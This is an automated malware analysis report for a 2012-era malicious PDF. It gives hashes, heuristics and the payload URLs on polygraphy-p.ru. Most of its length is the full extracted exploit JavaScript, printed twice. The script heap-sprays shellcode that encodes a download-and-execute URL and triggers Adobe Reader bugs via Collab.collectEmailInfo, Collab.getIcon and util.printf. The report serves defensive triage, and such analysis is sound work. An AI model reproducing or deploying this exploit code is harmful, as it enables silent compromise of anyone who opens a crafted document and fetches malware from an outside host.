Malicious PDF — malware analysis report

Static analysis result for SHA-256 e695b0b8ec03bb75…

MALICIOUS

PDF

6.6 KB First seen: 2012-07-12
MD5: cfd1f50ee93c9ba141f1b0374a139bf8 SHA-1: 30cbdd522c4d159163ce22b21f0289cf03644d4e SHA-256: e695b0b8ec03bb755208d0f033e1e6212d8eadee5c9c2c9a654310f9f1d8e11a
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1140 Deobfuscate/Decode Files or Information

Static analysis identified multiple indicators of malicious JavaScript within the PDF document, including the use of unescape() and ML classification flagging it as highly suspicious. The embedded JavaScript stream, named 'javascript_obj0009_000.js', is likely responsible for downloading and executing a secondary payload. The obfuscation suggests an attempt to evade detection.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://polygraphy-p.ru/elexp/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://polygraphy-p.ru/elexp/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://polygraphy-p.ru/elexp/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://polygraphy-p.ru/elexp/getexReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 6007 bytes
SHA-256: 2c0b2b794651d0955e7d25d04959090e515fccf08c453dec5e447f891d5bd2fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 23 of 42 identifiers look randomly generated (e.g. 'xVYY06Xr29yJs7WWy9') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var gr9ecFfYo848mV55cY = new Array();
 var uEbwMAOOIxyvVcmdGP;
 var lave = eval;
 function Mwyi52qqXvv0TYO6Uk(hs9Yq7TLjFz1ftwdc2, mSrBNnLrLjwpTBicjZ)
 {
   while(hs9Yq7TLjFz1ftwdc2.length * 2 < mSrBNnLrLjwpTBicjZ)
   {
     hs9Yq7TLjFz1ftwdc2 += hs9Yq7TLjFz1ftwdc2;
   }
   hs9Yq7TLjFz1ftwdc2 = hs9Yq7TLjFz1ftwdc2.substring(0, mSrBNnLrLjwpTBicjZ / 2);
   return hs9Yq7TLjFz1ftwdc2;
 }
 function ECuTSuT8oPkQQPsIbG(Uw8Qg5GAFznzYXCT1f)
 {
   if(Uw8Qg5GAFznzYXCT1f == 0)
   {
     var xTmCtXcKxUcYliUt0B = 0x0c0c0c0c;
     var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(Uw8Qg5GAFznzYXCT1f == 1)
   {
     xTmCtXcKxUcYliUt0B = 0x30303030;
     var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(Uw8Qg5GAFznzYXCT1f == 2)
   {
     var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var EdOM92utjPmtakJwxi = 0x400000;
   var GAgma8TfxeWyivb7Ij = VQLDP0DxgPRh5pAr25.length * 2;
   var mSrBNnLrLjwpTBicjZ = EdOM92utjPmtakJwxi - (GAgma8TfxeWyivb7Ij + 0x38);
   var hs9Yq7TLjFz1ftwdc2 = unescape("%u9090%u9090");
   hs9Yq7TLjFz1ftwdc2 = Mwyi52qqXvv0TYO6Uk(hs9Yq7TLjFz1ftwdc2, mSrBNnLrLjwpTBicjZ);
   var fCdrcQkCA509nFJT2t = (xTmCtXcKxUcYliUt0B - 0x400000) / EdOM92utjPmtakJwxi;
   for(var xVYY06Xr29yJs7WWy9 = 0; xVYY06Xr29yJs7WWy9 < fCdrcQkCA509nFJT2t; xVYY06Xr29yJs7WWy9++)
   {
     gr9ecFfYo848mV55cY[xVYY06Xr29yJs7WWy9] = hs9Yq7TLjFz1ftwdc2 + VQLDP0DxgPRh5pAr25;
   }
 }
 function GjL8nUGajZ5lTgG3FQ()
 {
   var ymI0vHToNzKL9H5TPs = 0;
   var nfSiFXTiDklTAtGT4B = app.viewerVersion.toString();
   app.clearTimeOut(uEbwMAOOIxyvVcmdGP);
   if((nfSiFXTiDklTAtGT4B >= 8 && nfSiFXTiDklTAtGT4B < 8.102) || nfSiFXTiDklTAtGT4B < 7.1)
   {
     ECuTSuT8oPkQQPsIbG(0);
     var XW19WKTfcY92R7huow = unescape("%u0c0c%u0c0c");
     while(XW19WKTfcY92R7huow.length < 44952) XW19WKTfcY92R7huow += XW19WKTfcY92R7huow;
     var wIff4R9DKOhOaSuaaR = this;
     var R57YdFa5MHyBEPTu6W = Collab;
     wIff4R9DKOhOaSuaaR["collabStore"] = R57YdFa5MHyBEPTu6W["collectEmailInfo"](
     {
       subj : "", msg : XW19WKTfcY92R7huow
     }
     );
   }
   if((nfSiFXTiDklTAtGT4B >= 8.102 && nfSiFXTiDklTAtGT4B < 8.104) || (nfSiFXTiDklTAtGT4B >= 9 && nfSiFXTiDklTAtGT4B < 9.1) || nfSiFXTiDklTAtGT4B <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         ECuTSuT8oPkQQPsIbG(2);
         var oDkfcS4CuynUQiYWGB = unescape("%09");
         while(oDkfcS4CuynUQiYWGB.length < 0x4000)
         {
           oDkfcS4CuynUQiYWGB += oDkfcS4CuynUQiYWGB;
         }
         oDkfcS4CuynUQiYWGB = "N." + oDkfcS4CuynUQiYWGB;
         var cqG99EJMdnGiKbw6HZ = app;
         cqG99EJMdnGiKbw6HZ["doc"]["Collab"]["getIcon"](oDkfcS4CuynUQiYWGB);
         ymI0vHToNzKL9H5TPs = 1;
       }
       else
       {
         ymI0vHToNzKL9H5TPs = 1;
       }
     }
     catch(e)
     {
       ymI0vHToNzKL9H5TPs = 1;
     }
     if(ymI0vHToNzKL9H5TPs == 1)
     {
       if(nfSiFXTiDklTAtGT4B == 8.102 || nfSiFXTiDklTAtGT4B == 7.1)
       {
         ECuTSuT8oPkQQPsIbG(1);
         var JLmRKZwkIVHYh4PxBX = "12999999999999999999";
         for(VVupIBYdnUi64FQphl = 0; VVupIBYdnUi64FQphl < 276; VVupIBYdnUi64FQphl++)
         {
           JLmRKZwkIVHYh4PxBX += "8";
         }
         var QdVh0mFqpfn2DyX8np = util;
         QdVh0mFqpfn2DyX8np["printf"]("%45000f", JLmRKZwkIVHYh4PxBX);
       }
     }
   }
}
 app.jLT7qBBuRck9N0mtqv = GjL8nUGajZ5lTgG3FQ;
 uEbwMAOOIxyvVcmdGP = app.setTimeOut("app.jLT7qBBuRck9N0mtqv()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 278 bytes
SHA-256: cf67638f9005662621a6a8caa015972277a2ea8afaf91cd244c5b1f5757965ef
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 278 bytes
SHA-256: e29923f46f57bb17c143f0d24a29e87e951c2839099ed69b219bf0c65e4bbeb3
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: f53ea7f355a9dc1f04952d6da0f7854bf56c40d062a548d314f3e129c6295820
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 6003 bytes
SHA-256: 17c0ad2be57dccee9679998682f6ab95d5425ec3b075dbaab8e561a9e8c2930c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 23 of 42 identifiers look randomly generated (e.g. 'xVYY06Xr29yJs7WWy9') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var gr9ecFfYo848mV55cY = new Array();
 var uEbwMAOOIxyvVcmdGP;
 var lave = eval;
 function Mwyi52qqXvv0TYO6Uk(hs9Yq7TLjFz1ftwdc2, mSrBNnLrLjwpTBicjZ)
 {
   while(hs9Yq7TLjFz1ftwdc2.length * 2 < mSrBNnLrLjwpTBicjZ)
   {
     hs9Yq7TLjFz1ftwdc2 += hs9Yq7TLjFz1ftwdc2;
   }
   hs9Yq7TLjFz1ftwdc2 = hs9Yq7TLjFz1ftwdc2.substring(0, mSrBNnLrLjwpTBicjZ / 2);
   return hs9Yq7TLjFz1ftwdc2;
 }
 function ECuTSuT8oPkQQPsIbG(Uw8Qg5GAFznzYXCT1f)
 {
   if(Uw8Qg5GAFznzYXCT1f == 0)
   {
     var xTmCtXcKxUcYliUt0B = 0x0c0c0c0c;
     var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(Uw8Qg5GAFznzYXCT1f == 1)
   {
     xTmCtXcKxUcYliUt0B = 0x30303030;
     var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(Uw8Qg5GAFznzYXCT1f == 2)
   {
     var VQLDP0DxgPRh5pAr25 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var EdOM92utjPmtakJwxi = 0x400000;
   var GAgma8TfxeWyivb7Ij = VQLDP0DxgPRh5pAr25.length * 2;
   var mSrBNnLrLjwpTBicjZ = EdOM92utjPmtakJwxi - (GAgma8TfxeWyivb7Ij + 0x38);
   var hs9Yq7TLjFz1ftwdc2 = unescape("%u9090%u9090");
   hs9Yq7TLjFz1ftwdc2 = Mwyi52qqXvv0TYO6Uk(hs9Yq7TLjFz1ftwdc2, mSrBNnLrLjwpTBicjZ);
   var fCdrcQkCA509nFJT2t = (xTmCtXcKxUcYliUt0B - 0x400000) / EdOM92utjPmtakJwxi;
   for(var xVYY06Xr29yJs7WWy9 = 0; xVYY06Xr29yJs7WWy9 < fCdrcQkCA509nFJT2t; xVYY06Xr29yJs7WWy9++)
   {
     gr9ecFfYo848mV55cY[xVYY06Xr29yJs7WWy9] = hs9Yq7TLjFz1ftwdc2 + VQLDP0DxgPRh5pAr25;
   }
 }
 function GjL8nUGajZ5lTgG3FQ()
 {
   var ymI0vHToNzKL9H5TPs = 0;
   var nfSiFXTiDklTAtGT4B = app.viewerVersion.toString();
   app.clearTimeOut(uEbwMAOOIxyvVcmdGP);
   if((nfSiFXTiDklTAtGT4B >= 8 && nfSiFXTiDklTAtGT4B < 8.102) || nfSiFXTiDklTAtGT4B < 7.1)
   {
     ECuTSuT8oPkQQPsIbG(0);
     var XW19WKTfcY92R7huow = unescape("%u0c0c%u0c0c");
     while(XW19WKTfcY92R7huow.length < 44952) XW19WKTfcY92R7huow += XW19WKTfcY92R7huow;
     var wIff4R9DKOhOaSuaaR = this;
     var R57YdFa5MHyBEPTu6W = Collab;
     wIff4R9DKOhOaSuaaR["collabStore"] = R57YdFa5MHyBEPTu6W["collectEmailInfo"](
     {
       subj : "", msg : XW19WKTfcY92R7huow
     }
     );
   }
   if((nfSiFXTiDklTAtGT4B >= 8.102 && nfSiFXTiDklTAtGT4B < 8.104) || (nfSiFXTiDklTAtGT4B >= 9 && nfSiFXTiDklTAtGT4B < 9.1) || nfSiFXTiDklTAtGT4B <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         ECuTSuT8oPkQQPsIbG(2);
         var oDkfcS4CuynUQiYWGB = unescape("	");
         while(oDkfcS4CuynUQiYWGB.length < 0x4000)
         {
           oDkfcS4CuynUQiYWGB += oDkfcS4CuynUQiYWGB;
         }
         oDkfcS4CuynUQiYWGB = "N." + oDkfcS4CuynUQiYWGB;
         var cqG99EJMdnGiKbw6HZ = app;
         cqG99EJMdnGiKbw6HZ["doc"]["Collab"]["getIcon"](oDkfcS4CuynUQiYWGB);
         ymI0vHToNzKL9H5TPs = 1;
       }
       else
       {
         ymI0vHToNzKL9H5TPs = 1;
       }
     }
     catch(e)
     {
       ymI0vHToNzKL9H5TPs = 1;
     }
     if(ymI0vHToNzKL9H5TPs == 1)
     {
       if(nfSiFXTiDklTAtGT4B == 8.102 || nfSiFXTiDklTAtGT4B == 7.1)
       {
         ECuTSuT8oPkQQPsIbG(1);
         var JLmRKZwkIVHYh4PxBX = "12999999999999999999";
         for(VVupIBYdnUi64FQphl = 0; VVupIBYdnUi64FQphl < 276; VVupIBYdnUi64FQphl++)
         {
           JLmRKZwkIVHYh4PxBX += "8";
         }
         var QdVh0mFqpfn2DyX8np = util;
         QdVh0mFqpfn2DyX8np["printf"]("E000f", JLmRKZwkIVHYh4PxBX);
       }
     }
   }
}
 app.jLT7qBBuRck9N0mtqv = GjL8nUGajZ5lTgG3FQ;
 uEbwMAOOIxyvVcmdGP = app.setTimeOut("app.jLT7qBBuRck9N0mtqv()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.